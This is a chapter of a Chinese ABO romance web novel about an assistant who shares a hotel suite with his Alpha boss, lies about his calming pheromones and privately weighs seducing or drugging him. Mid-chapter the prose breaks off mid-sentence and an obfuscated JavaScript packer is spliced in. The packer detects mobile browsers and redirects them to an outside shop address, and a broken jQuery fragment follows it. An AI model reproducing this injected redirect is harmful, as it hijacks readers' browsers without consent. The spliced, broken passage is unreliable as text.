文趣网 > 其他小说 > 小可怜勾上冷脸顶A后 > 13. 第 13 章
    严昭远默许了祝予安留下。

    他指向客厅方向,“外面那么大,套房客厅的沙发也比这里的长,你非要睡卧室?”

    “可是客厅不在您视线范围内。”祝予安依旧委屈。

    严昭远感觉太阳穴开始一跳一跳地疼。

    他调转方向,拿起酒店电话,对前台交代道:“加张单人床上来。”

    “谢谢昭总。”祝予安在沙发边上勾起一个软软的微笑,桃花眼笑起来时弯成一弯新月。

    “没什么好谢的,我只是没兴趣折腾我弟弟妹妹。”严昭远从祝予安身边拿走了电脑,“浴室随便用。”

    祝予安洗漱完毕,穿着乳白色的丝质长袖睡衣从浴室里走出来。他头发半干,没了发胶固定,几缕头发散在他脸上,让他看起来像个还没毕业的学生。

    酒店的人已经送来单人床了,还帮忙调整好了沙发位置后,原本宽敞的房间此时显得有些窄。

    祝予安坐在单人床边,拿起放在床上的资料,抬头要和严昭远说话的时候才意识到床铺实在摆得很近。

    他朝严昭远笑了笑,公事公办继续说俪升三位继承人的情况,还有老林董年轻时的事迹。

    说完人的情况,祝予安又谈起自己做的备选方案,澜湾集团也是很合适的替代标的。

    他娓娓道来,声音和海浪的声响混合在一起,讲着讲着,他打了个哈欠。

    一路的顺利只是结果,祝予安做行程安排时碰了不少壁,甚至还想过去蹭别人的私人飞机。到了地方又陪同谈判了一次,一路操劳。

    被耳边海浪的白噪音一催,昨天通宵的疲惫终于袭来,他的眼皮开始变重了。

    祝予安喝了两口矿泉水提神,但效果实在有限。

    严昭远突然抬手打断了他,“休息吧,刚才我看过一遍了,你也没说出更多的重点来。”

    严昭远看着俪升极其难看的财报,觉得自己父亲没再往下压价真是老眼昏花,原来年纪大了连经商直觉也会退化。

    他手上捏着一个严绍庭留下的烂摊子,面前对着一个严绍庭留下的小麻烦,两眼一闭,朝枕头上一躺,预备迎接一整晚的失眠。

    他先前确实很困,但也睡不着。他早已习惯了这种状态,大脑就像空跑的燃机,高温内燃。

    身为Alpha旺盛的精力在这种时候就尤其像个诅咒了,无处可去的精力只会转变为情绪上的暴躁。

    他闭着眼,感受着房间里的响动。

    祝予安站起了身子,好像凑过来看了他一眼,然后就关掉了灯。

    那一瞬间的荔枝香味直往严昭远头脑里钻,又清又甜,和信息素的主人一样表象无害,但闻久了又有荔枝核的苦味,也和祝予安那绵里藏针的性子很像。

    这种人好用,也暂时可以用,但不能久留,麻烦得很。

    严昭远想着,等陈助理处理完欧洲的事情回来,他就可以顺理成章把祝予安给换走。

    想着想着,他思绪上的尖刺慢慢变得圆滑,没入厚重的沉眠。

    一夜无梦。

    等严昭远醒过来的时候,外头的天蒙蒙亮。拿起手机一看,已经是第二天早晨四点。

    严昭远从床上坐起来。

    他睡眠质量自从分化之后一直不好,连睡近八个小时更是没有过。

    而且严昭远确切记得,自己昨晚没用药剂对抗失眠。

    他正想着,鼻腔里捕捉到一股很淡很淡的香味,和他的信息素一起混成了一种薄薄的甜苦味道。

    耳边轻微的呼吸声也似乎有安神的效用,安宁又美好。

    严昭远猛地一扭头,看着单人床上侧卧的身影,这才想起他留了人。

    祝予安还在睡梦之中。从他身上散出来的信息素一直很淡,平时若非靠近几乎闻不见。荔枝的甜味经过一夜的积累,现在充斥着整个房间。

    他的小半张脸埋在枕头里,全无防备的样子,比平时看起来还要乖。

    严昭远盯着他看了一会儿。

    越无害,越不对劲。

    他磨着后槽牙,意识到祝予安对他说谎了。

    严昭远知道他和父亲的遗传病是同一种,虽然过敏的轻重程度不同,但表现出来的病症都差不多。

    祝予安之前说严绍庭和他分房间睡。

    如果祝予安的信息素真的这么能安神,老头那样的人怎么会不用他做药?

    严昭远看着那乖巧的睡颜,气得乐了。

    好啊,小骗子。谎都说不圆。

    每个谎都有目的,祝予安这个谎言的目的又是什么呢。

    ·

    祝予安的生物钟一向很准,早晨七点准时睁眼。

    他躺在枕头上迷迷糊糊看手机,俪升的林明殊果不其然又发了几次信息来,最晚的一封甚至是在凌晨两点

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787797|210225||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,暗示他现在上司休息了,可以出来聊聊。

    祝予安眯着眼睛对焦着字,只觉得林明殊的格局确实不大,怪不得老林董找不出一个理想的接班人。

    他从床上坐起身子,对着晨光揉了揉眼睛,余光却看见一个黑漆漆的影子。

    被暗色商务西装全副武装的严昭远黑着脸,坐在另一边客床/上,像要审他似的。

    祝予安一下子僵住了,“昭总,早上好。我应该比您更早起一些,我失误了。”

    祝予安也慢慢想起来了他昨晚的计划。

    他本以为一个Alpha和一个Omega共处一室,信息素的作用会自然而然帮他完成计划,毕竟他以前见过的Alpha就没有不想占便宜的。

    但显然计划落空了,而且严昭远脸色很差,简直像是看穿了他的手段一样。

    “祝予安。”严昭远忽然叫祝予安的全名,Alpha的信息素又开始施压、几乎遏住祝予安脖颈,“你说老头不跟你睡一个房间?可我睡得太好了,你知道这是什么意思吗?”

    祝予安心道,坏了,他们都太了解严绍庭了。

    严董不可能会放一个能当安神药的Omega睡客房,但他说出去的话又不能收回来了。

    祝予安硬着头皮回答:“是的。”

    “他有说过为什么吗?”严昭远盯着祝予安,继续发问。

    祝予安脑中飞速运转,努力想了好几个理由都合不上,但又不能不答,拖得越久越像说谎。

    “严董的事他不会跟我说太多。我一直在猜是不是自己的呼吸声太重了。我昨晚昨晚吵到您了吗?对不起昭总。”

    半真半假,再扮可怜。这是祝予安能想到的最好的办法了。

    严昭远掀起眼皮看了他一眼,眼神凉得惊人,完全不是信服了的样子。

    但他没说话。祝予安也不知道他究竟是信了还是没信。

    严昭远起身推开窗户,让海风带走一室烟草与荔枝的气味,推开房门,离开了卧室。

    这一关竟然就这么过去了?祝安自己也有些不敢相信。

    只是闻着海风的味道,祝予安开始发愁,严昭远究竟喜欢什么样的。

    如果实在引诱不成,没有感情基础要走到用药那一步的话也太冒险了。

    这样的人真能放着一味现成的药不用,究竟又会因为什么而破了自己的规矩呢。